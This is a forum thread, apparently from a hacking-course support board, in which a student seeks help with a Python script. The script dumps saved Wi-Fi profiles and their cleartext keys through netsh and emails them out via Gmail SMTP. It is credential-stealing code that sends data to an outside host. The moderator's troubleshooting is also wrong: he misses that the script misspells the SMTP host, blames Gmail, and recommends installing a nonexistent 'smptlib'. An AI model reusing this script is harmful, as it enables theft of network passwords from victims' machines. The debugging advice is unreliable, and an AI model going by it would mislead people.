- This topic has 18 replies, 2 voices, and was last updated 4 years, 2 months ago by Peter Queen.
- AuthorPosts
- July 2, 2020 at 12:27 pm #41203Peter QueenParticipant
Hello ,
When i run this code:
#!usr/bin/env python import subprocess, smtplib, re def send_mail(email, password, message): server = smtplib.SMTP("smpt.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() results = "" command = "netsh wlan show profile" networks = subprocess.check_output(command, shell=True) network_names_list = re.findall("(?:Profile\s*:\s*)(.*)", networks) for network_name in network_names_list: command = "netsh wlan show profile" + network_name + "key=clear" current_results = subprocess.check_output(command, shell=False) results = results + current_results send_mail("[email protected]", "xxxxxxx", results)
I get this error:
C:\Users\IEUser\Downloads>C:\Python27\python.exe execute_and_report.py Traceback (most recent call last): File "execute_and_report.py", line 23, in <module> send_mail("[email protected]", "xxxxxxxxxx", results) File "execute_and_report.py", line 7, in send_mail server = smtplib.SMTP("smpt.gmail.com", 587) File "C:\Python27\lib\smtplib.py", line 256, in __init__ (code, msg) = self.connect(host, port) File "C:\Python27\lib\smtplib.py", line 317, in connect self.sock = self._get_socket(host, port, self.timeout) File "C:\Python27\lib\smtplib.py", line 292, in _get_socket return socket.create_connection((host, port), timeout) File "C:\Python27\lib\socket.py", line 557, in create_connection for res in getaddrinfo(host, port, 0, SOCK_STREAM): socket.gaierror: [Errno 11001] getaddrinfo failed
I covered email and password here but they are correct.
Can you please help?
July 3, 2020 at 4:17 am #41275Diego PérezModeratorHi Peter!
Yeah, the issue is related to conectivity with smtp server, Are you shure that windows vm has internet connection while running the script?Let me know.
DiegoJuly 3, 2020 at 9:13 am #41292Peter QueenParticipantHello Diego,
Yes I have connection.
Please advise
July 4, 2020 at 4:02 am #41356Diego PérezModeratorHi Peter!
The only solution is to try again cause this is an issue with gamil servers and not with your code.Let me know how it goes!
DiegoJuly 4, 2020 at 7:28 pm #41410Peter QueenParticipantHello Diego,
I tried over and over but doesn’t work, can I connect to another server instead of Gmail?
July 5, 2020 at 3:53 am #41423Diego PérezModeratorHi Peter!
First can you try to update smtplib? Just run:
python.exe -m pip install smptlib
This will install any update if available, also consider that you have to provide the full path for python.exe
Let me know how it goes!
DiegoJuly 6, 2020 at 12:15 pm #41487Peter QueenParticipantHello Diego,
When I try to install smptlib I get this error:
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support ERROR: Could not find a version that satisfies the requirement smptlib (from versions: none) ERROR: No matching distribution found for smptlib
Please advise
July 7, 2020 at 4:01 am #41561Diego PérezModeratorHi Peter!
That’s weired, are you trying this in your host machine or in a virtual one?Let me know.
DiegoJuly 7, 2020 at 12:00 pm #41570Peter QueenParticipantHello Diego,
I am trying it on the Windows VM machine.
Anything I can do ?
July 8, 2020 at 3:46 am #41622Diego PérezModeratorHi Peter!
Which exact version of python interpreter did you installed? I have tried it in 2.7.18 and it worked without issues, so maybe you can try to delete the current version and install the one I mentioned.Let me know how it goes!
DiegoJuly 10, 2020 at 10:08 am #41745Peter QueenParticipantHello Diego,
I have 2.7.18, I have now created a new Windows VM, downloaded Python and still when i try to import smptlib i get the same error!I import pyinstaller and it worked fine. Can you think of any solution? Should I dload Python 3? If so I did not take note of the Python 3 difference in the codes.
Thanks
July 11, 2020 at 4:06 am #41780Diego PérezModeratorHi Peter!
So you said it’s working when you have installed pyinstaller isn’t it? Are you recieving emails now? And yes, you can change the code to make it work with python3.
Let me know how it goes!
DiegoJuly 13, 2020 at 11:05 am #41988Peter QueenParticipantHello Diego,
What I meant is pip worked to install pyinstaller but still I can’t manage to install smptlib! I read that it comes already installed in python and it is just a matter of importing it. Any more suggestions? Being not able to send mail it’s a problem.
Thanks
July 14, 2020 at 3:24 am #42034Diego PérezModeratorHi Peter!
Then I would recommend to remove this windows machine and import a fresh one, because that shouldn’t be happening. Did you download it from Microsoft’s official site?Let me know.
DiegoJuly 14, 2020 at 8:46 pm #42069Peter QueenParticipantHello Diego,
Yes I did and I already imported a fresh one and I get the same error!
- AuthorPosts
- You must be logged in to reply to this topic.